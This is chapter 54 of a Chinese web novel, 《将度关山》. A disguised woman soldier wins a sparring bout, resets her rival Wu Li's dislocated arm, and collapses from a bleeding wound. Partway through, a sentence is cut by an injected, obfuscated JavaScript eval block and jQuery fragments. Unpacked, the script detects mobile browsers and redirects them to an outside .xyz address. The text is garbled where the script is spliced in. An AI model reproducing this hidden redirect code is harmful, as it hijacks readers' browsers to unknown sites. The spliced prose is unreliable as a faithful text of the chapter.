54. 第 54 章
作品:《将度关山》 人群鸦雀无声,随后是排山倒海的惊呼。
“不是,他瘦得麻杆儿似的哪来这么大力气啊?把吴立的手都给拧下来了!”
旁边那人摇了摇头:“吴立明显让着他呢!他倒好,一点情面不留,真以为是自己的本事吗?”
阿鸿三步并作两步走过来,一把揪起那人的领口:“没完没了了是吧?这么多人眼睛看着,分明是吴立破坏原则在先,贺虞凭实力拿下的成绩,连黄将军都没说话,你们有什么资格在这多言多语?!”
娄建本在擂台下又喜又跳,听到这边的动静,忙加入了阵营,叉腰骂道:“就知道在下面磨嘴皮子,有本事去台上替吴立打抱不平啊!”
两人见势不好,从阿鸿手中夺过衣领,骂骂咧咧往后去了。
左诚目露惊愕地看着台下,没想到贺虞进步如此之快,一个月前的刀兵队第一竟能输给他。
还好自己当时赌气赌的是贺虞能赢,否则按黄珙的脾气,莫不是输个底朝天才能走掉!
左诚几次三番抬手掩饰表情,内心喜不自胜。好好好,这么好的苗子让他给碰上了,以后定要重点培养,必成可用之才啊!
他收回目光,敛住眼里藏不下的喜悦,“黄将军,承让了。”
黄珙半天没吭声,沉声道:“左将军有何要求,想好了提便是。”
左诚昂着头,嘴里哼着小曲,大摇大摆往看台下走去。
直到左诚身影消失在营帐尽头,黄珙终于不用压抑上扬的嘴角,猛拍大腿笑道:“嗬!这傻小子,算我没看走眼!!不管他进前锋营还是留在骑兵队,出去了也不算丢老子的脸!”
台下兴奋的卫兵反应过来后,蜂拥而上将霍祈清高高举起。
从上面看,卫兵们像是小蚂蚁一点点往霍祈清的方向汇聚而去,慢慢成一个巨大的点,在教武场红黄色的衬映下,活像滚成了一个巨大的火球。
“苍天啊,谁知道五姑娘深藏不露啊,这卸人胳膊的牛劲儿和你师出同门吧?”袁淇用只有两个人能听到的声音窃窃私语。
谢承安只是扫了他一眼,淡声道:“招不在新,管用就行。”
袁淇一脸懊悔,捶胸顿足看着台下流水一般消失不见的白银,哀嚎着说:“真该死啊!想我堂堂黄金台第一赌王,怎么这回就看走了眼?!两百两!真金白银的两百两,丧良心的,我拿项上人头借的两百两!”
谢承安眉头渐渐松懈下来,长眸多出了道化不开的笑意,连他自己都没发觉。
“我早说过她会赢。”
“对啊,她赢了。”袁淇耷拉着的脑袋猛地一抬,抓住救命稻草般拉住了谢承安的衣袖,眼里尽是希冀的光:“诶,对啊,你押的那四百八十两不得赚一番啊!太好了,天不亡我,有救了!”
谢承安拉下他的手,平静开腔道:“袁子瑜。”
“伯父伯母临上岭南之前曾寄书信给我,要我对你多加管教,一旦有不正当行为立马传信回袁府。于公,如今你身为矫枉风纪的御史,公然带头做赌,若非我上禀将军充公,你如今怕是已经人头落地了。于私,我算是你师兄,你私自在非正规场所借贷,甚至殃及性命,我必须罚你。”
他扯了扯嘴角:“还想拿钱去还外面的借款?”
“自去将军帐前请罪,否则我一纸书信寄去盛京,到时候可不是吃板子这么简单的事了。”
“不是吧谢筠!你这么狠心!”袁淇目瞪口呆,“你还和我阿爹阿娘私下勾结……”
谢承安眼风一扫,提醒他:“我记得,你好像有个未婚妻在盛京。”
袁淇打了个寒颤,从前他还能拿不走仕途威胁威胁袁父袁母,自谢承安在朝堂上被陛下责罚之后,二老直接改变观念,要求他早日成家。至于立业,只等将来四皇子李怀景替他在宫中说和,有个闲差便罢。
要是谢承安真不讲道义把他供了出去,袁府怕不是得五花大绑将他绑回盛京成亲?!
不不不,他可不要随便被嫁给哪个公主郡主,特别是那个性格怪异的秦二姑娘!
思及此,袁淇脸上立马换了个态度,堆起了个谄媚的笑:“哎呀,谢大人,属下知错了。我马上就去帅帐前负荆请罪,挨板子还是下牢狱我都认!”
见谢承安还是无动于衷,袁淇咬了咬牙,举起右手,从齿缝里挤出丝笑容,“我发誓,日后绝不仗着身份为非作歹,绝不将黎民百姓抛诸脑后,若违背此誓,我……我不得好死!”
谢承安哼了一声,没再多说什么。
霍祈清被抛到天空中时,只觉脑瓜生疼。伸手摸了摸腹部,触手殷红,一片濡湿。
这才反应过来自己身上还有伤,只不过因为穿的是玄色,没多少人看出来罢了。
下面将她抛起又接住的卫兵讶异道,“咦,贺虞这小子几天没洗澡了,身上味道怎么这么重?”
这些军营里待久了的卫兵对气味不大敏感,平常训练出汗受伤是常有的事,贺虞身上能被人察觉的气味,可想而知有多重了。
另一个人也回头道:“你看我手上全是他的汗……”他把手心摊开给周围人看,话语一下子顿住,瞳孔蓦然放大,结结巴巴道:“怎么……怎么全是血?”
娄建上去挥开人群,挤到中间将霍祈清扶起,“阿虞,你没事吧?”
“我没事,一个小伤口。”霍祈清低头看了看,拿衣袍止住不断溢出的鲜血,确实没伤到实处,但被众人这么摔两下,难免撕扯到伤口。
她果断撕下袍角,将伤口紧紧系住,扶着娄建站了起来,笑道:“大家继续比试吧,我先走一步。”
众人些许愧疚,忙为她让出条道,好去找军医处理伤口。
刚出营帐,霍祈清却松开娄建扶着她的手,往另一头走去,娄建茫然喊了一声:“阿虞,你不去找医师处理伤口往那走作甚?”
“哦,你先过去看看,我马上就来!”
她一瘸一拐捂着腹部,强忍着疼痛往卫兵住的营帐走去。
方才一群人涌上来,她还没来得及同吴立讲句话便被冲散了。吴立又向来要强,当众被卸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655627|151868||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了胳膊想必也不会去找医师接骨,甚至可能现在还躲在某处龇牙咧嘴对着胳膊无从下手。
霍祈清停在紧闭的营帐前,深吸了一口气,她倒不是滥好心,吴立曾经对阿鸿恶语相向难以容忍,但若因为错过诊治落下病根,她一辈子寝食难安。
“吴立,你在吗?”
营帐内没有回应,霍祈清犹豫着要拉开帐帘,里面传来道闷闷的声音:“你来这干什么?”
霍祈清正色道:“来给你接胳膊。”
吴立:……
帐帘被掀起,吴立的右手垂在身侧,脸色苍白,额头还挂着密密麻麻的汗珠,他嘶哑着开口:“不需要。”
霍祈清一脸着急,连忙拽过他要转走的身影,“你要是手废了,这辈子都没办法替你爹正名!”
吴立左手攥紧了,一把揪起她的领子,眯着眼恶狠狠道:“你找死吗?”
霍祈清加快了语速道:“你既然不喜欢别人在你身后嚼舌根子,又何故说阿鸿的闲话?是看别人和你一样陷入困境有快感是吗?!”
吴立的拳头在她脸颊几公分处堪堪停下。
半晌,霍祈清衣领上的桎梏陡然一松,吴立背过身,神色闪躲,愧疚的语气响起。
“恶语伤人这事我虽不是故意的,但做了就是做了,如今有错自该认,我也会去找阿鸿亲自道歉。”
他回过神来,眸中多了几分认真,“这一个月来你昼夜不分加紧训练,老兵都不愿意扛的木头,你在雨里也坚持站桩,我都看在眼里。这次比试,你也是堂堂正正赢的,我心服口服。从前错怪你是靠裙带关系进的军营,是我不对。”
左将军当着那么多人的面下令要斩立决贺虞,若真是自家亲戚,又怎会下如此狠手?方才在擂台上,自己体力不支,贺虞完全能以自保为理由重伤自己,等前锋营选拔完,他也没机会参加了。
可贺虞没有。
君子坦荡荡,在这一点上,他做得不如贺虞。
倘若贺虞没有卸掉他的胳膊,他是真动过杀心的。
霍祈清挠了挠脑袋,不以为然道:“其实大家都很努力,我不如你们,自然要加倍赶上。”
她伸手娴熟地摸住骨节之间的缝隙,聚气一处,“咔嚓”一声,随着吴立陡然拔高的声线,右手接上了。
霍祈清眉梢高挑,扬声道:“权当是不打不相识,日后还得吴兄多包涵!”
“好说好说。”吴立甩了甩酸痛的胳膊,讶异道:“你还会这门手艺活儿?!”
“唉,从前在家里不注意自个儿身体,三天两头爬房檐钻狗洞,跌打损伤是常有的事儿,这不,自然而然就学会了。”
二人行至营帐前,霍祈清腹部忽然传来一阵绞痛,她捂着腰慢慢下蹲,吴立担忧道:“你怎么了?”
“无妨,伤口止不住血,我要去包扎了。”
霍祈清的脸色苍白如纸,吴立瞪大眼道:“你还没处理伤口?!”
来不及再费口舌,吴立背起昏倒的霍祈清一路往军医的方向奔去。